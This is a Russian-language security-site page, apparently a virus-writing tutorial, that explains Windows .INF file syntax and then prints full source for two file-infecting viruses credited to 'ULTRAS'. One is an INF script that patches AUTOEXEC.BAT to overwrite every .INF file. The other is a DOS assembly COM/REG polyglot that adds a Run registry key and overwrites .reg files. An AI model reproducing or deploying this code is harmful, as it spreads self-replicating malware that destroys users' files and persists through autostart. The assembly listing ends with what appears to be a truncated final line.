реклама
ОНЛАЙН АПТЕКА НИЗКИХ ЦЕН
цены ниже розничных точек. доставка по украине

   реклама    
Аптека

proxy  статьи  библиотека  softice  free_юр.консультация  hard
рекламодателям  расшифровка штрих-кодов  links/add

http://kiev-security.org.ua

Содержание

|index|.REG|

ТЕХНОЛОГИЯ ВНЕДРЕНИЯ В .INF ФАЙЛЫ

Описание

Inf-файлы представляют собой инициализационные файлы, состоящие из нескольких разделов. Каждый раздел предназначен для выполнения определеной задачи.

Краткое описание некоторых команд

[название] - Квадратные скобки используются обозначения начала нового раздела.
;
Комментарий в inf файлах
Signature = $Chicago$
Задает операционную систему для inf файлов. На момент написание кодовое название Win95 было следующим: Chicago.
CopyFile
Содержит информацию, необходимую для копирования указанного файла или файлов в каталог. Вы можете дать системе указание скопировать отдельный файл. для этого перед имеем файла необходимо включить символ @. При этом файл будет скопирован в каталог DefaultDestDir, определенный в разделе DestinationDir в inf файлах.
RenFile
Позволяет переименовать указаный файл.
DelFile
Позволяет удалить указаный файл.
AddReg
Позволяет указать подключ или значение, которое требуется добавить в реестр.
DelReg
Позволяет указать подключ или значение, которые требуется удалить из реестра.
DestinationDirs (каталоги назначения)
00 - В текущий каталог?
01 - Исходное устроиство:\путь
04 - Каталог backup?
10 - Каталог Windows
11 - Каталог System
12 - Каталог Iosybsys
13 - Каталог Command?
14 - Каталог Control Panel
15 - Каталог Printers
16 - Каталог Workgroup?
17 - Каталог Inf
18 - Каталог Help
20 - Каталог Fonts?
21 - Каталог Viewers?
22 - Каталог VMM32?
26 - Каталог Winboot
28 - Каталог Winboot host
30 - Корневой каталог 
загрузочного 
устройства
32 - Корневой каталог с прежней 
версией windows? (если есть)
33 - Корневой каталог с прежней 
версией ms-dos? (если есть)
UpdateAutoBat - В этом разделе 
находятся команды, которые 
модифицируют файл autoexec.bat.  
CmdDelete
Указывает комнду, которая должна быть удалена из файла autoexec.bat. Эта строка обрабатыва- ется перед строкой CmdAdd.
CmdAdd
Указывает команду, которую требуется добавить в файл autoexec.bat.
DefaultDestDir
Позволяет указать каталог-приемник.
Reboot aka Restart
Команды, вызывающие перезапуск системы или перезагрузку машины после завершения установки.
AddReg и DelReg
Раздел [Add Registry] позволяет добавлять в реестр ключи и значения. Кроме того, существует необязательная возможность установить фактическое значение. Имя раздела [add_registry section] должно быть задано элементом AddReg раздела [ClassInstall] или [Install] или [DefaultInstall]. Раздел [Delete Registry] используется для удаления из реестра подключей и имен значений.
CopyFiles
Для элемента CopyFiles используется следующий синтаксис. Параметры sourcefile и temporaryFile.
RenFiles
Для элемента CopyFiles используется следующий синтаксис. Параметры newfile и oldfile допускается включение любого количества элементов.
DelFiles
Для элемента CopyFiles используется следующий синтаксис. Параметры filename.

Множество примеров вы сможете найти в windows/inf каталоге.

ПРИМЕР

Скрипт внедряется в INF-файлы Windows. При инсталляции программного обеспечения стандартным способом Windows ищет INF- файл, обрабатывает его и выполняет скрипт-инструкции. При активизации создает в корневом каталоге диска С файл с именем f0jer.sys, копирует в него файл-носитель (INF) и дописывает в конец файла AUTOEXEC.BAT несколько команд DOS. Эти команды при очередной перезагрузке Windows ищут в каталоге windows\system и на текущем диске *.INF-файл и записывается вместо него.

;f0jar by ULTRAS
[version]
signature="$CHICAGO$"   ; signature win95/98
SetupClass=BASE

[DefaultInstall]
CopyFiles = Ultra.File          ; копирувоная файлов в разделе Ultra.file
UpdateAutoBat = Patch.It        ; запись в autoexec.bat в разделе Patch.it

[Patch.it]                      ; удалим команды в autoexec.bat
CmdDelete = "@ctty", "nul"
CmdDelete = "for", "%%b in (%windir%\system\*.inf *.inf) do copy f0jer.sys %%b"
CmdDelete = "ctty", "con"

CmdAdd = "@ctty", "nul" ; запишем команды в autoexec.bat
CmdAdd = "for", "%%b in (%windir%\system\*.inf *.inf) do copy f0jer.sys %%b"
CmdAdd = "ctty", "con"

[DestinationDirs]
DefaultDestDir = 30             ; корневой каталог загрузочного устроиства

[SourceDisksNames]
1="ULTRAS","",1

[Ultra.File]                    ; копируем из ultras.inf в f0jer.inf
f0jer.sys, ultras.inf

|index|up|

ВНЕДРЕНИЕ В ФАЙЛЫ .REG

Программа работы с REG файлами проста и требует элементарных знаний Ассемблера для DOS. Поясним сам процесс. Несмотря на небольшой размер, откомпилированный COM файл представляет собой комбинацию файлов типа .COM и .REG. Начало файла, строка 'REGEDIT4 ' (пробел в конце) - это исполняемый код, который выглядит как 'push dx / inc bp / inc di / inc bp / inc sp / dec cx / push sp / xor al,20h'. Последствия этого кода - уменьшение указателя стека на 3 байта [push dx (-2), inc sp (+1), push sp (- 2)]. Так как программа завершается инструкцией 'int 20h', а не 'ret', то восстанавливать sp не имеет смысла. В то же время это сигнатура файлов типа .REG. Отвлечемся от 'jmp v_start' и посмотрим на собственно .REG файл - он должен добавить в раздел автозапуска строку , таким образом, z0x.bat будет запускаться каждый раз при загрузке Windows. А теперь вернемся к коду COM файла. Первым делом он создает файл c:\z0x.bat и записывает в него команды DOS, которые переименовывают файл z0x.sys в z0x.com, запускают его и затем стирают. Второй создаваемый файл - c:\z0x.sys - сюда один в один копируется весь код. После этого идет поиск всех .reg файлов в текущем директории и перезапись их своим кодом.

.model tiny
.code
org     100h
start:
db "REGEDIT4 "
jmp v_start
db 13,10,13,10
db 
'[HKEY_LOCAL_MACHINE\
Software\Microsoft\Wndow
s\CurrentVersi
on\Run]',13,10
db '"start"="start /min 
z0x.bat"', 
13,10,13,10
db ""
v_start:
lea dx,filename
mov ah,3ch
mov cx,3
int 21h
mov bx,ax
mov ah,40h
mov dx,offset header
mov cx,headerend
int 21h
now:
lea dx,filename2
mov ah,3ch
mov cx,3
int 21h
mov bx,ax
mov ah,40h
mov dx,offset start
mov cx,vlen
int 21h
mov ah,4eh
mov dx,offset vbs_
int 21h
find_file:
jc exit_v
mov ax,3d02h
mov dx,09eh
int 21h
xchg bx,ax
rewrite:
mov ah,40h
mov cx,_end - start
mov dx,offset start
int 21h
close:
mov ah,3eh
int 21h
mov ah,4fh
int 21h
jmp find_file
exit_v:
int 20h
vir db 'Reginf by ULTRAS'
state db 'MaDe in Russia'
vbs_ db '*.reg', 00h
header  db '@echo 
off',0dh,0ah
db 'ren z0x.sys z0x.com', 
0dh,0ah
db '@z0x.com', 0dh,0ah
db 'del z0x.com', 0dh,0ah
headerend equ $-offset 
header
filename db "c:\z0x.bat",0
filename2 db "c:\z0x.sys",0
vlen equ $-offset start
_end equ $
end star

|index|up|

Содержание

HOME


Если у вас есть сайт или домашняя страничка - поддержите пожайлуста наш ресурс, поставьте себе кнопочку, скопировав этот код:

<a href="http://kiev-security.org.ua" title="Самый большой объем в сети онлайн инф-ции по безопасности на rus" target="_blank"><img src="http://kiev-security.org.ua/88x31.gif" width="88" height="31" border="0" alt="security,безопасность,библиотека"></a>

Идея проекта(C)Anton Morozov, Kiev, Ukraine, 1999-2017,